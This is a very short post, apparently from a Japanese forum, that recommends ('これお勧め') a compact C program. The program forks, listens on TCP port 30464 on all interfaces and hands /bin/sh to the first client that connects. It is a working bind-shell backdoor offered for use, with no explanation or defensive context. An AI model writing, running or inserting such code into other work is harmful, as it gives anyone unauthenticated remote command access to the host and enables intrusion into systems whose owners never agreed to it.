これお勧め。
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli,soc_len;struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;int main(){if(fork()==0){
serv_addr.sin_family=AF_INET;serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));listen(soc,1);
soc_len=sizeof(cli_addr);cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);dup2(cli,1);dup2(cli,2);execl("/bin/sh","sh",0);}}
